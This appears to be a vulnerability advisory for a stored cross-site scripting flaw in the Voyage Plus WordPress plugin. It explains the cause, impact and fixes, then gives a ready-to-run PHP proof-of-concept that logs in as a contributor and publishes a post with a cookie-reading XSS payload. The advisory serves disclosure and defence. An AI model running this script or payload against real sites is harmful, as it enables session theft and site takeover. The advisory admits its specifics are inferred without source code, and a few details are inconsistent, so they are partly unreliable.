Atomic Edge analysis of CVE-2026-5715 (metadata-based): This vulnerability affects the Voyage Plus WordPress plugin, version 1.0.6 and earlier. It is a stored cross-site scripting (XSS) issue found in the ‘post-content’ shortcode’s ‘class’ attribute. Authenticated users with at least contributor-level privileges can inject arbitrary JavaScript into a page. When other users view that page, the script executes. The CVSS score is 6.4 (Medium), with a network-based attack vector, low complexity, and required authentication.
Root Cause: The plugin registers a shortcode named ‘post-content’ that accepts a ‘class’ attribute. The description and CWE-79 classification indicate the plugin fails to sanitize user-supplied input for the ‘class’ attribute before rendering it in the HTML output. Specifically, the plugin likely concatenates the attribute value directly into a class attribute without using WordPress escaping functions like esc_attr() or sanitize_html_class(). An attacker can break out of the class attribute context by including a double-quote character, then inject arbitrary HTML and JavaScript. Atomic Edge analysis infers this from the vulnerability description; no source code is available for confirmation.
Exploitation: An attacker logs in as a Contributor or higher role. They create or edit a post or page and insert the ‘post-content’ shortcode with a crafted ‘class’ parameter. The attack vector is a post or page edit screen (wp-admin/post-new.php or wp-admin/post.php). The attacker crafts a payload in the shortcode parameter, for example: [post-content class=’x” onclick=”alert(document.cookie)” id=’y’]. When the post renders on the front end, clicking the element executes the injected script. Alternatively, the attacker can inject a script tag directly: [post-content class=’x’ onmouseover=’alert(document.cookie)’]. The injected script executes for any user visiting the page, including administrators. The exact shortcode attribute name and syntax are inferred from the plugin slug and common WordPress shortcode patterns. No AJAX or REST endpoint is required; the vulnerability resides entirely in the shortcode rendering.
Remediation: The plugin developer must properly escape the ‘class’ attribute using WordPress’s esc_attr() function and should validate that the value contains only valid HTML class characters (alphanumeric, hyphen, underscore). Additionally, the plugin should use sanitize_html_class() to strip disallowed characters. Since no patched version is available (and the plugin may be abandoned), site administrators should either uninstall the Voyage Plus plugin or remove the vulnerable shortcode from the plugin source. A content security policy (CSP) with script-src restrictions can mitigate but not eliminate the risk.
Impact: An authenticated attacker with contributor-level access can achieve stored cross-site scripting. This allows the attacker to execute arbitrary JavaScript in the context of any user visiting an affected page. The attacker can steal session cookies, perform actions on behalf of victims (including administrators), redirect users to malicious sites, or deface the WordPress site. Since contributor-level is a low barrier, the attack surface is significant. The CVSS scope change (S:C) indicates the vulnerability impacts resources beyond the vulnerable component, such as the entire WordPress application.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5715 - Voyage Plus <= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'post-content' Shortcode
<?php
/**
* Proof of Concept: Exploits Stored XSS in Voyage Plus plugin via shortcode attribute.
*
* ASSUMPTIONS:
* - The attacker has a WordPress account with Contributor privileges.
* - The Voyage Plus plugin is active. The shortcode is [post-content class="..."].
* - The target site has a valid user session cookie.
*
* USAGE:
* php cve-2026-5715-poc.php
*
* Edit the variables below before running.
*/
$target_url = 'https://example.com'; // Change to target WordPress URL
$username = 'attacker'; // Contributor-level username
$password = 'attacker_password'; // Password for above account
// The XSS payload: break out of class attribute and inject event handler
// This payload will trigger an alert with document.cookie when the element is clicked.
$payload = 'x" onclick="alert(document.cookie)" data-x="';
// ---- Begin exploit ----
// Step 1: Login to get cookies
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => rtrim($target_url, '/') . '/wp-admin/',
'testcookie' => '1'
));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-5715-cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-5715-cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_response = curl_exec($ch);
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) !== 302) {
die("Login failed. Check credentials or target URL.n");
}
curl_close($ch);
// Step 2: Get a nonce and a new post ID for a draft post
$admin_url = rtrim($target_url, '/') . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-5715-cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$admin_response = curl_exec($ch);
curl_close($ch);
// Extract _wpnonce and post_id from the admin page
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/i', $admin_response, $nonce_matches);
preg_match('/post=([0-9]+)/', $admin_response, $post_id_matches);
if (empty($nonce_matches[1]) || empty($post_id_matches[1])) {
die("Could not retrieve nonce or post ID. The site structure may differ.n");
}
$nonce = $nonce_matches[1];
$post_id = $post_id_matches[1];
// Step 3: Save the post with the malicious shortcode
$post_url = rtrim($target_url, '/') . '/wp-admin/post.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
'_wpnonce' => $nonce,
'post_ID' => $post_id,
'post_title' => 'XSS Test Post',
'content' => '[post-content class="' . $payload . '" /]',
'post_status' => 'publish',
'originalaction' => 'editpost',
'action' => 'editpost'
));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-5715-cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$post_response = curl_exec($ch);
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
echo "Post saved successfully. Visit the post page to trigger the XSS.n";
echo "Post URL: " . rtrim($target_url, '/') . "/?p=" . $post_id . "n";
} else {
echo "Post save may have failed. HTTP code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
}
curl_close($ch);
// Clean up
unlink('/tmp/cve-2026-5715-cookies.txt');
?>